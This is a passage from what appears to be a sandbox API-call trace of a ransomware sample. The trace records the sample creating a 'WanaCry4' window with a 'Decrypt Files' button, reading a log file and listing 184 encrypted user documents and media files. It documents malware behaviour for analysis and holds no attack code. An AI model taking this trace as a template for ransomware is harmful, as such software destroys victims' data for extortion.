cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.859] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.859] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.859] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.860] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.860] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.860] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.860] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.860] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.860] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.860] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.860] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.860] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.860] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.861] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.861] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.861] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.861] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.861] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.861] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.861] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.861] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0051.113] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0xd72f04f220, fWinIni=0x0 | out: pvParam=0xd72f04f220) returned 1 [0051.113] GetSystemMetrics (nIndex=7) returned 3 [0051.113] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0xd72f04f220, fWinIni=0x0 | out: pvParam=0xd72f04f220) returned 1 [0051.113] GetSystemMetrics (nIndex=8) returned 3 [0051.113] GetSystemMetrics (nIndex=4) returned 23 [0051.113] SetRect (in: lprc=0xd72f04f220, xLeft=0, yTop=0, xRight=800, yBottom=650 | out: lprc=0xd72f04f220) returned 1 [0051.113] AdjustWindowRectEx (in: lpRect=0xd72f04f220, dwStyle=0x84c00000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xd72f04f220) returned 1 [0051.113] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3 GUI", lpWindowName="WanaCry4", dwStyle=0x84c00000, X=318, Y=92, nWidth=806, nHeight=679, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xc018a [0051.113] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.113] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x81, wParam=0x0, lParam=0xd72f04ebd0) returned 0x1 [0051.114] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.114] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x83, wParam=0x0, lParam=0xd72f04ec40) returned 0x0 [0051.114] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.114] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.114] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x5, wParam=0x0, lParam=0x28a0320) returned 0x0 [0051.114] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.114] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x3, wParam=0x0, lParam=0x760141) returned 0x0 [0051.114] SetWindowLongPtrW (hWnd=0xc018a, nIndex=-21, dwNewLong=0x0) returned 0x0 [0051.114] GetClientRect (in: hWnd=0xc018a, lpRect=0xd72f04f220 | out: lpRect=0xd72f04f220) returned 1 [0051.114] GetStockObject (i=17) returned 0x10a0047 [0051.114] SendMessageW (hWnd=0xc018a, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0051.114] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.114] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0051.114] GetCursorPos (in: lpPoint=0xd72f04f1c0 | out: lpPoint=0xd72f04f1c0*(x=786, y=503)) returned 1 [0051.114] ScreenToClient (in: hWnd=0xc018a, lpPoint=0xd72f04f1c0 | out: lpPoint=0xd72f04f1c0) returned 1 [0051.114] GetAsyncKeyState (vKey=1) returned 0 [0051.114] GetAsyncKeyState (vKey=2) returned 0 [0051.114] SetTimer (hWnd=0x0, nIDEvent=0x0, uElapse=0x28, lpTimerFunc=0x7ff756b75a9c) returned 0x7f4d [0051.115] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.115] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.115] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.115] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0051.115] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.115] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Decrypt Files", dwStyle=0x50030000, X=176, Y=400, nWidth=113, nHeight=41, hWndParent=0xc018a, hMenu=0x3, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xc01e6 [0051.116] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.116] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x55, wParam=0xc01e6, lParam=0x3) returned 0x2 [0051.116] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.116] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0051.116] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.116] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0051.116] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.116] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0051.116] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.116] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x210, wParam=0x30001, lParam=0xc01e6) returned 0x0 [0051.116] GetStockObject (i=17) returned 0x10a0047 [0051.116] SendMessageW (hWnd=0xc01e6, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0051.116] GetClientRect (in: hWnd=0xc01e6, lpRect=0xd72f04f0f0 | out: lpRect=0xd72f04f0f0) returned 1 [0051.116] GetWindowRect (in: hWnd=0xc01e6, lpRect=0xd72f04f0f0 | out: lpRect=0xd72f04f0f0) returned 1 [0051.116] SetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21, dwNewLong=0x3) returned 0x0 [0051.117] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.117] GetDC (hWnd=0x0) returned 0x11010729 [0051.117] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0051.117] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0051.117] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xffffffff8d0a06e8 [0051.117] SendMessageW (hWnd=0xc01e6, Msg=0x30, wParam=0xffffffff8d0a06e8, lParam=0x1) returned 0x0 [0051.117] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.117] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="", dwStyle=0x503110c4, X=16, Y=56, nWidth=768, nHeight=329, hWndParent=0xc018a, hMenu=0x4, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x9011c [0051.121] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.121] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x210, wParam=0x40001, lParam=0x9011c) returned 0x0 [0051.121] GetStockObject (i=17) returned 0x10a0047 [0051.121] SendMessageW (hWnd=0x9011c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0051.122] GetWindowTextLengthW (hWnd=0x9011c) returned 0 [0051.122] SendMessageW (hWnd=0x9011c, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0051.122] GetClientRect (in: hWnd=0x9011c, lpRect=0xd72f04f0f0 | out: lpRect=0xd72f04f0f0) returned 1 [0051.122] GetWindowRect (in: hWnd=0x9011c, lpRect=0xd72f04f0f0 | out: lpRect=0xd72f04f0f0) returned 1 [0051.122] SetWindowLongPtrW (hWnd=0x9011c, nIndex=-21, dwNewLong=0x4) returned 0x0 [0051.122] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.122] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0051.122] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.122] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.123] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0051.123] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.124] CharLowerBuffW (in: lpsz="lresult", cchLength=0x7 | out: lpsz="lresult") returned 0x7 [0051.124] LoadLibraryW (lpLibFileName="user32.dll") returned 0x7ffe2a3b0000 [0051.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0xd72f37d0b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMessageW", lpUsedDefaultChar=0x0) returned 13 [0051.124] GetProcAddress (hModule=0x7ffe2a3b0000, lpProcName="SendMessageW") returned 0x7ffe2a3b6970 [0051.124] SendMessageW (hWnd=0x9011c, Msg=0xc5, wParam=0x3b9ac9ff, lParam=0x0) returned 0x1 [0051.125] FreeLibrary (hLibModule=0x7ffe2a3b0000) returned 1 [0051.125] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.125] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.126] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.126] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.126] CreateSolidBrush (color=0x0) returned 0x701005c5 [0051.126] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.127] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.127] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\log.txt" (normalized: "c:\\progra~1\\common~1\\log.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.127] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.127] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04f1e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04f1e0*=0) returned 1 [0051.127] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04f1d0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04f1d0*=0) returned 1 [0051.127] ReadFile (in: hFile=0x18c, lpBuffer=0xd72f38cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xd72f04f210, lpOverlapped=0x0 | out: lpBuffer=0xd72f38cb00*, lpNumberOfBytesRead=0xd72f04f210*=0x324a, lpOverlapped=0x0) returned 1 [0051.127] ReadFile (in: hFile=0x18c, lpBuffer=0xd72f38cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xd72f04f210, lpOverlapped=0x0 | out: lpBuffer=0xd72f38cb00*, lpNumberOfBytesRead=0xd72f04f210*=0x0, lpOverlapped=0x0) returned 1 [0051.127] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0051.127] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04f250, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04f250*=12874) returned 1 [0051.127] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.128] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04f250, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04f250*=0) returned 1 [0051.128] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04f1a0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04f1a0*=0) returned 1 [0051.128] ReadFile (in: hFile=0x18c, lpBuffer=0xd72f38cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xd72f04f1e0, lpOverlapped=0x0 | out: lpBuffer=0xd72f38cb00*, lpNumberOfBytesRead=0xd72f04f1e0*=0x324a, lpOverlapped=0x0) returned 1 [0051.128] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.128] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0051.128] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0051.128] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.128] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04ec00, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04ec00*=0) returned 1 [0051.129] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04ebf0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04ebf0*=0) returned 1 [0051.129] ReadFile (in: hFile=0x18c, lpBuffer=0xd72f38cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xd72f04ec30, lpOverlapped=0x0 | out: lpBuffer=0xd72f38cb00*, lpNumberOfBytesRead=0xd72f04ec30*=0x324a, lpOverlapped=0x0) returned 1 [0051.129] ReadFile (in: hFile=0x18c, lpBuffer=0xd72f38cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xd72f04ec30, lpOverlapped=0x0 | out: lpBuffer=0xd72f38cb00*, lpNumberOfBytesRead=0xd72f04ec30*=0x0, lpOverlapped=0x0) returned 1 [0051.129] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0051.129] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0051.129] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0051.129] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04eb10, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04eb10*=12874) returned 1 [0051.129] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.129] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04eb10, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04eb10*=0) returned 1 [0051.129] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04ea60, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04ea60*=0) returned 1 [0051.129] ReadFile (in: hFile=0x18c, lpBuffer=0xd72f38cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xd72f04eaa0, lpOverlapped=0x0 | out: lpBuffer=0xd72f38cb00*, lpNumberOfBytesRead=0xd72f04eaa0*=0x324a, lpOverlapped=0x0) returned 1 [0051.129] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0051.129] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0051.130] SetWindowTextW (hWnd=0x9011c, lpString="Encrypted files: 184\r\n\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\Ny2s.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\BxiNkfDKL7n6uh.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.encrypted.gif\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\JYTH35yWOw4cDE5jD.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\EcMUW.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.encrypted.odt\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\84P_4rzx.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.encrypted.doc\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\ACt2aRGtYlaHCFWx Ti2.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.encrypted.ots\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\LXe-5p6iU.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\OhQsVpUB.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My New App.encrypted.accdb\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My 